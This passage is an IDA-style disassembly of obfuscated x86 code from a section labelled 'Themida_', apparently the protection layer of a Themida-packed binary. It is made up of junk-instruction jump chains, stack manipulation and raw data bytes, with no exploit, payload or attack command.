0E904E1C0h, 0FFFF84C2h, 4347B850h, 0FDE930F7h dd 83FFFF4Fh, 0C48304C4h, 24048F04h, 2404005Ch, 4F89E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D0D6: ; CODE XREF: Themida_:00552ED0j mov ecx, esp push ebx mov ebx, 4 add ecx, ebx pop ebx sub ecx, 4 jmp loc_561BAF ; --------------------------------------------------------------------------- loc_55D0E9: ; CODE XREF: Themida_:005648A4j pop edx xor edx, 3C90145Bh jmp loc_562C03 ; --------------------------------------------------------------------------- loc_55D0F5: ; CODE XREF: Themida_:0055CC1Fj add dword ptr [esp], 4 jmp loc_5607E7 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 42474FFh, 8324048Bh, 48F04C4h, 24248B24h, 64BD6857h dd 15F0207h, 0FF04247Ch, 685F2434h, 279h, 68242C89h, 295Ch dd 83242489h, 5D042404h, 0FFFCBDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D13D: ; CODE XREF: Themida_:0055A21Aj pop ebp add esp, 4 add esp, 4 push edi sub esp, 4 mov [esp], ecx push ebp mov ebp, 4FE14B1Fh mov ecx, ebp jmp loc_559798 ; --------------------------------------------------------------------------- dw 8E2Ch dd 0DEE9D800h db 3Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D167: ; CODE XREF: Themida_:00553B9Cj add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 26E9h mov [esp], edx push 6F88h mov [esp], esp push eax push 4 pop eax add [esp+4], eax jmp loc_559D55 ; --------------------------------------------------------------------------- loc_55D194: ; CODE XREF: Themida_:0055B947j xor [esp], ebp xor ebp, [esp] pop esp mov [esp], eax mov eax, 4F7274F5h jmp loc_55D301 ; --------------------------------------------------------------------------- dd 81241C8Bh, 4C4h, 3EBC100h, 8103EBC1h, 48C097F3h, 0E9DA8901h dd 0FFFF6523h, 0BE243489h, 2, 0D27D4605h, 542CE902h, 0ACB8FFFFh dd 4810411Dh, 25FFC083h, 41E97464h, 25643805h, 58C50132h dd 594DE9h, 24048F00h, 431665Ch, 0B0E99C24h db 37h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D1FF: ; CODE XREF: Themida_:00552591j pop edx jmp loc_564127 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0BD242C89h, 2, 335DEA01h, 14312414h, 24143324h, 0E924248Bh dd 297Fh, 94F7E958h, 0EC81FFFFh, 4, 0FF60A9E9h, 4EC81FFh dd 0E9000000h, 7AD9h dword_55D240 dd 24048B66h ; DATA XREF: Themida_:005507E0o db 56h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_551D7E ; --------------------------------------------------------------------------- aVsl8 db '\VИl8',0 align 10h dd 5CAABE56h, 0EE81726Ch, 65E0D19h, 3B9BE9h, 2E7C100h dd 1871E9h, 5E5C100h, 53C6E956h, 0FB29FFFFh, 1467BA52h dd 43E95540h, 0BBFFFFACh, 0AFF2A8FDh, 0FF9B16E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D299: ; CODE XREF: Themida_:00555F18j mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp] pop esp add edx, 4 xchg edx, [esp] pop esp and [esp], eax pushf jmp loc_5509AF ; --------------------------------------------------------------------------- loc_55D2B8: ; CODE XREF: Themida_:005577ADj add esp, 4 push 7B35h mov [esp], ebx push 75EEh mov [esp], edx push 6AE1h mov [esp], ebx jmp loc_5603A5 ; --------------------------------------------------------------------------- loc_55D2DB: ; CODE XREF: Themida_:0055E278j xchg edx, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 push 11C2h mov [esp], edx jmp loc_563FE3 ; --------------------------------------------------------------------------- dw 3C89h dd 52E78924h, 0FF3FA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D301: ; CODE XREF: Themida_:0055D1A3j push edx jmp loc_55FC2C ; --------------------------------------------------------------------------- db 0B8h dd 6891D45h, 0FFFBCFE9h, 0E9E189FFh, 3BF1h, 4BE56h, 0F0010000h dd 0FF9AB7E9h, 247401FFh, 2C815E04h, 0A355A524h, 4E6FE96Ch dd 489FFFFh, 1B3DB824h, 0E94BE6h, 51FFFFE7h, 0F18077B1h dd 0E9C88849h, 0FFFF866Eh dword_55D350 dd 0BF5753ADh, 1740307h, 7FD0EF81h, 0D7F76CC9h, 0FFA6CDE9h ; DATA XREF: Themida_:00550920o dd 2474FFFFh, 48F5804h, 24248B24h, 0F2D9E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D376: ; CODE XREF: Themida_:00551D4Ej add ch, 5Eh sub ch, 89h sub ch, bh add ch, 89h sub ch, 5Eh pop ebx mov bl, ch pop ecx not bl or bl, 3Fh or bl, 0C9h jmp loc_550FE0 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0CCE9242Ch db 49h, 2 dup(0FFh) byte_55D3A3 db 0FFh ; DATA XREF: Themida_:005507E8o dd 589D1C77h, 9C240411h, 0FF35FEE9h, 0E9D589FFh, 0FFFFD322h ; --------------------------------------------------------------------------- loc_55D3B8: ; CODE XREF: Themida_:00556BC5j xor ebp, 0D821D71h mov edx, ebp mov ebp, [esp] jmp loc_55CB82 ; --------------------------------------------------------------------------- dd 4EC81h, 3C890000h, 81E78924h, 4C7h, 4C78300h, 47FA68h dd 243C8900h, 42474FFh, 52243C8Bh, 0C2815A54h, 4, 0E904C283h dd 0FFFF93A4h, 4C681h, 18E90000h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D407: ; CODE XREF: Themida_:00565CD9j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor edx, [esp] jmp loc_552630 ; --------------------------------------------------------------------------- aAAIS_j db '─ц=─цы┬ч[И_J',0 align 4 dd 5C241C87h, 31243433h, 0B8E92434h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D43B: ; CODE XREF: Themida_:00559E05j mov ecx, [ebx] pop ebx mov edx, [esp] push esi push esp mov esi, [esp] add esp, 4 add esi, 4 sub esp, 4 mov [esp], ecx mov ecx, 18D4413Ch and ecx, 434C7D61h shl ecx, 4 push eax mov eax, 408464EEh sub eax, 3C4052EAh xor ecx, eax pop eax jmp loc_554CF0 ; --------------------------------------------------------------------------- loc_55D47C: ; CODE XREF: Themida_:00554B07j mov eax, 14302BDh dec eax or eax, 73A77F3Ch xor eax, 41A6781Ah or edi, eax pop eax sub esp, 4 mov [esp], eax jmp loc_55B80B ; --------------------------------------------------------------------------- loc_55D49A: ; CODE XREF: Themida_:00560E07j sub edx, edi pop edi jmp loc_55DF1F ; --------------------------------------------------------------------------- aMbaO db 'M│М"╝;',0 db 81h, 0C3h, 4Fh dd 14FCC47h, 4FEB81EBh, 5D4FCC47h, 0E0AC381h, 0CB815F7Ah dd 56301A10h, 0FF9701E9h, 21E951FFh, 1FFFFBAh, 576D05E8h dd 0BE5672A6h, 10526B6Fh, 6601BC2Dh, 5F02967h, 676601BCh dd 0FF7E95E9h, 31CF31FFh, 81CF31F9h, 8EC759C7h, 5FF829B7h dd 81243C8Bh, 4C4h, 339E0500h, 98054D23h, 0E928E421h, 207h dd 51DBF781h, 41E943B8h, 5DFFFF72h, 0FF5FDEE9h, 0E9D589FFh dd 3A8Bh, 4C181h, 0C1810000h, 4, 31240C33h, 0C33240Ch dd 3C335C24h, 243C3124h, 8B243C33h, 0F7662424h, 4A6866E9h dd 14896623h, 9C506624h, 0FF344EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D561: ; CODE XREF: Themida_:00554C63j xchg eax, [esp] pop esp jmp loc_558AA3 ; --------------------------------------------------------------------------- dw 5456h dd 5624348Bh, 7114E9h, 2599BD00h, 7CE91826h, 1FFFFEEh dd 0C20158C2h, 0FF7D0EE9h, 5BDD30FFh, 501CC580h, 0FFC957E9h dd 0E95256FFh, 0FFFFCFF6h ; --------------------------------------------------------------------------- loc_55D59C: ; CODE XREF: Themida_:00564A29j add esi, 4 push ebx mov ebx, 4 add esi, ebx jmp loc_5623A7 ; --------------------------------------------------------------------------- db 89h dd 241C8BDAh, 81E38953h, 4C3h, 4C38100h, 87000000h, 535C241Ch dd 0E953F1BBh, 5BD80158h, 87E9D029h, 87000032h, 248B242Ch dd 242C8124h, 69397BACh, 0C6E95556h, 8BFFFFA9h, 0E9522414h dd 0FFFFBBAEh ; --------------------------------------------------------------------------- loc_55D5F4: ; CODE XREF: Themida_:00551E1Bj pop dword ptr [esp] jmp loc_557603 ; --------------------------------------------------------------------------- loc_55D5FC: ; CODE XREF: Themida_:0055C1E6j mov eax, [esp] add esp, 4 xchg edx, [esp] jmp loc_55E565 ; --------------------------------------------------------------------------- aS_ db ')фИ^_',0 align 4 loc_55D614: ; CODE XREF: Themida_:0055A5AFj pop eax push dword ptr [esp] pop esi jmp loc_55685D ; --------------------------------------------------------------------------- loc_55D61E: ; CODE XREF: Themida_:005554AFj mov edi, 6D4951h jmp loc_5602BC ; --------------------------------------------------------------------------- dword_55D628 dd 6035BE56h, 0D6F72E94h, 6B9F68h, 243C8900h, 1D5846BFh ; DATA XREF: Themida_:00550834o dd 0E7C14F32h, 60BA5205h, 0E9E68EE7h, 0FFFF9A39h, 8324048Bh dd 0F6E904C4h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D657: ; CODE XREF: Themida_:00562A15j add ebx, edi mov edi, [esp] add esp, 4 push edi jmp loc_55ACD1 ; --------------------------------------------------------------------------- loc_55D665: ; CODE XREF: Themida_:00556755j mov eax, 682E206Bh sub ecx, eax pop eax add ecx, ebp push edi mov edi, 413D2C7Bh not edi shl edi, 5 push edi not dword ptr [esp] jmp loc_5620EB ; --------------------------------------------------------------------------- db 5Ah dd 31240C33h, 0C33240Ch, 645FE924h db 2 dup(0FFh) word_55D692 dw 34FFh ; DATA XREF: Themida_:00550770o aXhmx db '$Xh╛X',0 dw 8900h aHv_0 db ',$hv[',0 dw 0E900h dd 8611h ; --------------------------------------------------------------------------- loc_55D6A8: ; CODE XREF: Themida_:0055D6E4j add edx, esi add edx, 75E5DC9h jmp loc_550E07 ; --------------------------------------------------------------------------- loc_55D6B5: ; CODE XREF: Themida_:0056472Bj push esi mov esi, esp add esi, 4 jmp loc_55EC60 ; --------------------------------------------------------------------------- loc_55D6C3: ; CODE XREF: Themida_:005525C8j not edx jmp loc_55CC30 ; --------------------------------------------------------------------------- dw 0E95Fh dd 0FFFFA772h ; --------------------------------------------------------------------------- loc_55D6D0: ; CODE XREF: Themida_:00564641j add ebp, 4 add ebp, 4 jmp loc_562D71 ; --------------------------------------------------------------------------- loc_55D6DE: ; CODE XREF: Themida_:00552186j sub edx, 75E5DC9h jmp loc_55D6A8 ; --------------------------------------------------------------------------- loc_55D6E9: ; CODE XREF: Themida_:005588A4j xor dh, cl mov cx, [esp] add esp, 2 xor dh, 30h mov bh, dh jmp loc_552819 ; --------------------------------------------------------------------------- loc_55D6FF: ; CODE XREF: Themida_:00552F4Aj sub esp, 4 mov [esp], ebp push dword ptr [esp+4] jmp loc_5596DC ; --------------------------------------------------------------------------- loc_55D70E: ; CODE XREF: Themida_:0055CF43j neg ebp xor ebp, 963CD849h jmp loc_55822D ; --------------------------------------------------------------------------- db 1 dd 21982DD8h, 9E2D28E4h, 574D2333h, 0FF979EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D72D: ; CODE XREF: Themida_:0055BEECj shl esi, 6 jmp loc_56540C ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 81240C8Bh, 4C4h, 4C48300h, 0FF81DEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D749: ; CODE XREF: Themida_:00560F80j mov [esp], edx push ecx jmp loc_554135 ; --------------------------------------------------------------------------- dw 0B1BDh dd 0B856163Fh, 0A9E9C053h, 0F5E9E801h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D763: ; CODE XREF: Themida_:0055EFBBj mov [esp], ebp push ebx mov ebx, eax sub esp, 4 mov [esp], esi jmp loc_556030 ; --------------------------------------------------------------------------- db 81h dd 0CA7978F7h, 0F32E943h, 0D12D0000h, 8143D53Dh, 4ECh dd 24348900h, 50A51BEh, 5EF52911h, 5CE9C501h, 89000073h dd 0E9552434h, 48F5h, 5004C083h, 0FFF4CAE9h, 34335AFFh dd 24343124h, 8B243433h, 8B662424h, 8952240Ch, 0E95055E2h dd 2078h, 5366D830h, 81E28952h, 4C2h, 4EA8300h, 0E9241487h dd 79B2h, 0F68078B6h, 6DF680EDh, 0E99BE680h, 153Eh ; --------------------------------------------------------------------------- loc_55D7F4: ; CODE XREF: Themida_:005565FDj mov eax, 7B245D7Dh add eax, edx pop edx jmp loc_5593DA ; --------------------------------------------------------------------------- db 5Ah, 86h, 0CFh dd 0CF86D1F6h, 30D1F780h, 241C8BFDh, 0FF40F2E9h, 4EC81FFh dd 89000000h, 8BF243Ch, 52091A0Fh, 5A3DEBBAh, 37BE5642h dd 0E914CD6Fh, 0FFFF5989h, 81243C8Bh, 4C4h, 618EE900h dd 815FFFFFh, 0C04246Ch, 81792F20h, 57042444h, 295D8F4Ah dd 81042474h, 5704246Ch, 815D8F4Ah, 0C042444h, 5E792F20h dd 0FF3142E9h, 3C8B5EFFh, 0E2895224h, 4C281h, 5FE90000h db 0EAh, 2 dup(0FFh) aNhsl db '╜hАl',0 ; DATA XREF: Themida_:00550918o dd 24048900h, 8D6E4EB8h, 3E93E936h, 0E95BFFFFh, 0A99h dd 0E9240489h, 0FFFF43B8h ; --------------------------------------------------------------------------- loc_55D8A0: ; CODE XREF: Themida_:005626C7j add ebp, 3041726Bh sub ebp, 45EB370Ah neg ebp inc ebp not ebp sub ebp, 0A83F27D5h sub ecx, ebp pop ebp sub ecx, 57B56725h jmp loc_560607 ; --------------------------------------------------------------------------- loc_55D8C5: ; CODE XREF: Themida_:005587B0j xor ebp, ebx pop ebx jmp loc_5551D4 ; --------------------------------------------------------------------------- db 55h, 0BDh, 10h dd 0C12FAF06h, 0C7E904EDh, 81FFFFFBh, 7C012DEBh, 0EB815F62h dd 2, 393BE9h db 0 ; --------------------------------------------------------------------------- loc_55D8ED: ; CODE XREF: Themida_:00559B42j push ecx jmp loc_5519D7 ; --------------------------------------------------------------------------- loc_55D8F3: ; CODE XREF: Themida_:0056007Dj push ebx mov ebx, 46000C8Bh xor esi, ebx pop ebx sub esi, 0BC49E164h sub edi, esi jmp loc_55C19A ; --------------------------------------------------------------------------- db 0C0h, 0EFh, 3 dd 0CBB6E952h, 34FFFFFFh, 41685687h, 0E900004Dh, 0FFFFB34Eh ; --------------------------------------------------------------------------- loc_55D920: ; CODE XREF: Themida_:00562B01j sub esp, 4 mov [esp], ebp push esp pop ebp push ebx mov ebx, 4 add ebp, ebx pop ebx jmp loc_5655FE ; --------------------------------------------------------------------------- db 5Fh, 59h, 0FFh dd 0F2E92434h, 81FFFFF0h, 2C4h, 0F0C38000h, 0C8EB80h, 0B05066C3h dd 66C300C8h, 6824048Bh, 2988h, 89240489h, 405E0h, 2050000h dd 50000000h, 794AE9h, 0EC815700h, 4, 52242489h, 4BAh dd 24540100h, 735CE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D98E: ; CODE XREF: Themida_:00554233j push ebx mov ebx, esp add ebx, 4 jmp loc_556BFE ; --------------------------------------------------------------------------- loc_55D99C: ; CODE XREF: Themida_:00556E7Aj neg eax add eax, 20FA1DCDh sub esp, 4 mov [esp], edx mov edx, 9A0DB0C4h add eax, 4E8709F4h sub eax, edx jmp loc_557F71 ; --------------------------------------------------------------------------- db 0F7h, 0D6h, 81h dd 0FE2FA8C6h, 364CE901h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D9CA: ; CODE XREF: Themida_:0055CB49j add edx, edi pop edi add edx, edi jmp loc_565BFD ; --------------------------------------------------------------------------- dd 2414895Ch, 0D4BA3BAh, 9D81E92Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D9E2: ; CODE XREF: Themida_:00557AEFj mov edi, [esp] add esp, 4 xchg ebx, [esp] pop esp mov [esp], ebx jmp loc_5605E3 ; --------------------------------------------------------------------------- loc_55D9F4: ; CODE XREF: Themida_:0055DA4Dj add edx, 39F13DEBh inc edx sub edx, 7001C87h jmp loc_5643A0 ; --------------------------------------------------------------------------- dw 0ED25h dd 0E96D363Bh, 0FFFFDFF9h ; --------------------------------------------------------------------------- loc_55DA10: ; CODE XREF: Themida_:0055FA3Ej mov esi, 4D545C36h xor edx, esi pop esi mov ebx, edx pop edx jmp loc_55B89A ; --------------------------------------------------------------------------- dd 730BB92Dh, 0F452D39h, 52E93A03h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DA2F: ; CODE XREF: Themida_:0055E807j pop esp add esi, 44436565h sub esi, 354059B9h push ebx mov ebx, 75DF260Dh sub esi, ebx pop ebx add esi, eax push edx mov edx, 7A4D6A71h jmp loc_55D9F4 ; --------------------------------------------------------------------------- loc_55DA52: ; CODE XREF: Themida_:00551494j push edi mov edi, esp push eax sub esp, 4 jmp loc_554E87 ; --------------------------------------------------------------------------- loc_55DA61: ; CODE XREF: Themida_:0055ABC1j dec ebp xor ebp, 42424BFFh add ecx, ebp pop ebp mov eax, [esp] jmp loc_55A99E ; --------------------------------------------------------------------------- loc_55DA73: ; CODE XREF: Themida_:005585FDj pop esp add esp, 4 loc_55DA77: ; CODE XREF: Themida_:0055AC7Ej push edi jmp loc_563A85 ; --------------------------------------------------------------------------- loc_55DA7D: ; CODE XREF: Themida_:00555E5Aj add eax, edx pop edx jmp loc_5611CD ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 3B0F685Ch, 11E90000h, 5000066h, 7D2A0274h, 0E9243C8Bh dd 0FFFFCAE2h dword_55DAA0 dd 240C8B66h, 8904EC83h, 58542404h, 78D0BA52h, 0C2814270h ; DATA XREF: Themida_:00550750o dd 0AEF3329h, 6C22BE56h, 0DEF71D21h, 0C2E9DEF7h, 5BFFFF3Dh dd 0A2E9DF87h, 8FFFFFF7h, 248B2404h, 0FBB75324h, 0E9E68956h dd 0CAh ; --------------------------------------------------------------------------- loc_55DAE0: ; CODE XREF: Themida_:0055A07Ej or eax, 29DF0537h and eax, 47302186h or eax, 61E340C4h sub eax, 67F361C2h add esi, eax pop eax sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx mov edx, 1 jmp loc_558E7F ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFFE887h, 3A3ABA52h, 0D13152FBh, 0FFC405E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DB21: ; CODE XREF: Themida_:005641EBj mov edx, esp add edx, 4 push ebx mov ebx, 4 sub edx, ebx pop ebx xchg edx, [esp] pop esp mov [esp], eax push esi jmp loc_551B51 ; --------------------------------------------------------------------------- db 88h dd 0E95259E8h, 0FFFF75E4h, 4BDh, 5DEF0100h, 31243C33h dd 3C33243Ch, 0C1835C24h, 9BD4E902h, 0EBDFFFFh, 0E941BC6Eh dd 5348h, 81F70159h, 0A51AE6C7h, 3C335E25h, 243C3124h dd 8B243C33h, 0C4812424h, 4, 44366852h, 24890000h, 24048324h dd 24148B04h, 5304C483h, 3CB6BA52h, 8950187Ah, 4D05E9D0h dd 0C681FFFFh, 4, 4EE81h, 34870000h, 0C895C24h, 349BE924h dd 0F8290000h, 8B2434FFh, 0C481243Ch, 4, 4C481h, 72E90000h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DBDB: ; CODE XREF: Themida_:0055E785j push eax mov eax, 0 sub eax, 372F60B2h add eax, 4B3300DCh jmp loc_5568D3 ; --------------------------------------------------------------------------- dd 51AE952h, 15A0000h, 25EF81EFh, 53638B77h, 0F826A6BBh dd 78BA527Ch, 0E9D4363Ch, 3060h, 0B151FA00h, 32E9805Ch dd 0E9CDEA80h, 2E7Dh ; --------------------------------------------------------------------------- loc_55DC20: ; CODE XREF: Themida_:00553DEEj pop edx sub ebx, ebp sub ebx, 6386511h push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 xchg ebx, ebp jmp loc_55C8B5 ; --------------------------------------------------------------------------- loc_55DC3F: ; CODE XREF: Themida_:00555431j pop ecx push ebx mov ebx, 4 add ecx, ebx mov ebx, [esp] jmp loc_55A0B7 ; --------------------------------------------------------------------------- dd 4304C483h, 0B5E38143h, 0E90AA245h, 2CC8h ; --------------------------------------------------------------------------- loc_55DC60: ; CODE XREF: Themida_:00557778j or esi, 1A22696Fh push ebx mov ebx, 0AB71C2h xor esi, ebx pop ebx shr esi, 7 jmp loc_562E4F ; --------------------------------------------------------------------------- aBa2JSy9 db '│М2)j Иy9',0 align 2 aSa_0 db '[И═`',0 align 4 dd 4EB835Eh, 2474FF53h, 4BE3E904h, 51580000h, 9433E7B9h dd 2E1C16Ch, 4B4AC181h, 0CF297354h, 0FFFEBFE9h, 3DEB80FFh dd 8B79C380h, 0C4832414h, 578FE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DCBE: ; CODE XREF: Themida_:00563916j push ebp push dword ptr [esp+4] jmp loc_55E803 ; --------------------------------------------------------------------------- dd 0BD222868h, 0FF2D5845h, 0E9FFFFFFh, 0FFFFA633h ; --------------------------------------------------------------------------- loc_55DCD8: ; CODE XREF: Themida_:00550C80j mov esp, [esp] push edx jmp loc_55EFC0 ; --------------------------------------------------------------------------- db 81h, 0C3h, 0E1h dd 0E90FB2B0h, 0FFFF5CC8h dword_55DCEC dd 52E38953h, 0BB44B0BAh, 81DAF711h, 744446E2h, 67F2816Ah ; DATA XREF: Themida_:00550930o dd 4A308E65h, 0B1C2814Ah, 81F029B1h, 0A841EAE2h, 0CBCA8109h dd 8166DB7Fh, 48039C2h, 5AD30191h, 0FFB3B4E9h, 8BEF88FFh dd 0C483240Ch, 0FA885204h, 7857E9h db 0 ; --------------------------------------------------------------------------- loc_55DD35: ; CODE XREF: Themida_:0055C7DAj push 3E9Dh mov [esp], eax push edx jmp loc_560393 ; --------------------------------------------------------------------------- db 56h dd 0E81780BEh, 5EF2012Bh, 4EC81h, 2C890000h, 4EC8124h dd 0E9000000h, 0FFFF8A58h, 8105E2C1h, 0A24C41F2h, 0C3F28132h dd 893A8641h, 97E95AD3h, 4900003Dh, 0E981D1F7h, 6C8B84F0h dd 0FF4E3FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DD85: ; CODE XREF: Themida_:00561B29j push eax mov ah, ch mov dl, ah pop eax mov bl, dl push dword ptr [esp] pop edx add esp, 4 pop ecx push dword ptr [esp] mov edx, [esp] jmp loc_55C341 ; --------------------------------------------------------------------------- dd 8003B4BDh, 0B8F5812Ch, 8174E312h, 0B75DB4F5h, 0E9EB214Eh dd 0FFFFB537h, 4C481h, 0C1810000h, 2, 5F44E9h, 241C8B00h dd 0E9E28952h, 0FFFFB165h, 835AD001h, 48704E8h, 0FBF2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DDE2: ; CODE XREF: Themida_:0055500Cj inc bl and bl, 0C2h and bl, 0F1h dec bl shr bl, 7 xor bl, 85h sub cl, bl pop ebx not cl sub cl, 0Ah not cl dec cl not cl jmp loc_561D45 ; --------------------------------------------------------------------------- db 51h, 0FFh, 74h dd 0C8B0424h, 4C48324h, 0FFFCBAE9h, 0DCBB53FFh, 8127D274h dd 413FC3EBh, 8BDE0910h, 0C483241Ch, 0A8B85004h, 8161FD4Fh dd 43479FC6h, 0CFB5E912h, 8F5EFFFFh, 248B2404h, 4A30F24h dd 39E99C24h, 81FFFF48h, 27BD1CBh, 0AACB8172h, 815EE66Ah dd 8E0B8CC3h, 5BD8293Eh, 0FF9D14E9h, 0E9C389FFh, 4AADh ; --------------------------------------------------------------------------- loc_55DE6C: ; CODE XREF: Themida_:005529FAj push ecx jmp loc_55AD07 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5F0424h, 895C2404h, 0A9E92404h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DE83: ; CODE XREF: Themida_:0055BCDBj mov edi, esi pop esi jmp loc_55F8E7 ; --------------------------------------------------------------------------- db 81h dd 0C812F1E3h, 81D3F70Eh, 413A14C3h, 5ABFE9F1h, 0C683FFFFh dd 0E4C68101h, 0E90BB0BCh, 0FFFFE933h ; --------------------------------------------------------------------------- loc_55DEAC: ; CODE XREF: Themida_:00556371j add esp, 4 xchg ebx, ebp push 7B2Eh mov [esp], eax jmp loc_556BD5 ; --------------------------------------------------------------------------- dw 0EB81h dd 4, 31241C33h, 1C33241Ch, 709AE924h, 48FFFFFh, 24248B24h dd 240C8966h, 0C830E7B1h, 240C8B66h, 55E28952h, 0FF6C96E9h dd 20F380FFh, 0D4F6E386h, 0FF6741E9h, 24348BFFh, 0FFD0B7E9h dd 2C483FFh, 6B64E9h db 0 ; --------------------------------------------------------------------------- loc_55DF09: ; CODE XREF: Themida_:0055983Dj add esp, 4 add esp, 4 or eax, eax jz loc_5583F8 push dword ptr [edi+28h] jmp loc_5564D2 ; --------------------------------------------------------------------------- loc_55DF1F: ; CODE XREF: Themida_:0055D49Dj add edx, eax jmp loc_5616C3 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 708EE956h, 2C890000h, 93685324h, 8B3AD301h, 0C483241Ch dd 38B85004h, 2D22D438h, 5DA739C7h, 0FF6445E9h, 34ED81FFh dd 0E922EB0Ah, 54B0h, 650772Dh, 5D8016Bh, 6B065077h, 8EA6857h dd 295F592Fh, 0BA525FF8h, 47A73F75h, 685AD029h, 47D6h dd 0BD242C89h, 6024E412h, 4EC81h, 34890000h, 11FDBE24h dd 0D92D308Ah, 5477161h, 1F32591h, 13E9F029h, 89FFFF4Ah dd 0BE5652E7h, 56F75BCDh, 0FFB7F2E9h db 0FFh byte_55DFB5 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0055077Co dd 1858669Dh, 0E99C2404h, 786Eh, 4C481h, 0FDE90000h, 0B7000029h dd 66F8089Eh, 66D22C5Bh, 3016B652h, 148B66F0h, 2C48324h dd 0C049B050h, 9B3406E0h, 0FF30C6E9h, 0C8BD55FFh, 81119542h dd 19392EF5h, 8EDC110h, 4D04E5C1h, 1865ED81h, 0F5813BF7h dd 0D1C0CDB7h, 34FFEA21h, 0C4835D24h, 56D2F704h, 0A23F35BEh dd 9FEE8118h, 21DBB202h, 4D31E9F2h, 94BDFFFFh, 890DDA21h dd 5F58E9EEh, 0E95EFFFFh, 0FFFF657Fh, 0FE89DF89h, 0FFB058E9h dd 2434FFFFh, 4C48158h, 52000000h, 65CDE9h, 24248900h dd 0FF33D9E9h, 6DEB81FFh, 578544D5h, 0FFFFD3E9h, 0CB895AFFh dd 0FFC093E9h, 2155BFFFh, 0F6E9F145h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E07F: ; CODE XREF: Themida_:00558757j add esi, ecx mov ecx, [esp] add esp, 4 add esi, 4 xchg esi, [esp] jmp loc_557027 ; --------------------------------------------------------------------------- aUhR db 'UhхR',0 dw 8900h dd 10BB241Ch, 0E912E040h, 224Eh, 0A0E972B4h, 8F00006Ch dd 895C2404h, 6CE9243Ch, 5D00002Eh, 81E28952h, 4C2h, 6343E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E0CA: ; CODE XREF: Themida_:00562076j add esi, ecx push ebp jmp loc_55618E ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFFE1A0h, 0AE2DF4B9h, 74B1BA3Bh, 0CA313AB9h, 5AD78959h dd 81E28952h, 4C2h, 8FBB5300h, 815BF946h, 0E541E3EBh, 0DD40E95Ch dd 0C181FFFFh, 4, 0E904E983h, 0FFFFD895h, 4BAh, 0E9D10100h dd 0FFFF6368h ; --------------------------------------------------------------------------- loc_55E11C: ; CODE XREF: Themida_:0055F7A7j mov si, 3C22h sub si, 32Fh add si, 6656h not si inc si add si, 245h xor ax, si jmp loc_55A2D3 ; --------------------------------------------------------------------------- dd 8869C480h, 24048BE6h, 7352E950h, 3489FFFFh, 81E68924h dd 4C6h, 4EE8300h, 62D8E9h db 0 ; --------------------------------------------------------------------------- loc_55E15D: ; CODE XREF: Themida_:005631ACj add ebp, edi pop edi mov edi, ebp mov ebp, [esp] add esp, 4 sub ebx, edi pop edi push edi push 58ACh mov [esp], ecx push 100C7AAAh pop ecx shr ecx, 5 jmp loc_551645 ; --------------------------------------------------------------------------- db 5Ah, 0Fh, 0B6h dd 87048DC0h, 815A5452h, 4C2h, 656EE900h, 0BE2CFFFFh, 592434FFh dd 4C481h, 35680000h, 89000077h, 0D7E92414h, 81FFFFA1h dd 4C7h, 7D7EE900h, 0F480FFFFh, 460AE9A3h, 34890000h, 7F646824h dd 3C890000h, 0DEFCE924h, 9E68FFFFh, 89000064h, 0C1E9241Ch dd 89000072h, 74FF2414h, 34FF0424h, 2434FF24h, 3F6DE9h dd 81475800h, 217480E7h, 8439E90Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E202: ; CODE XREF: Themida_:0055828Bj push dword ptr [esp] pop edi push esi jmp loc_55C169 ; --------------------------------------------------------------------------- loc_55E20C: ; CODE XREF: Themida_:00555802j xor edi, [esp] xor [esp], edi jmp loc_552441 ; --------------------------------------------------------------------------- db 5Ch dd 89241489h, 431068E2h, 2C890000h, 0D54DE924h, 0D029FFFFh dd 1BBBE9h, 0F8BA5200h, 8179C155h, 701114EAh, 0EBE9562Ch dd 1000067h, 0E6BA52FEh, 0E94CF46Bh, 65C1h, 0E9240C89h dd 6F78h ; --------------------------------------------------------------------------- loc_55E258: ; CODE XREF: Themida_:00561F5Bj mov edi, 4C597AB8h inc edi dec edi dec edi jmp loc_55F385 ; 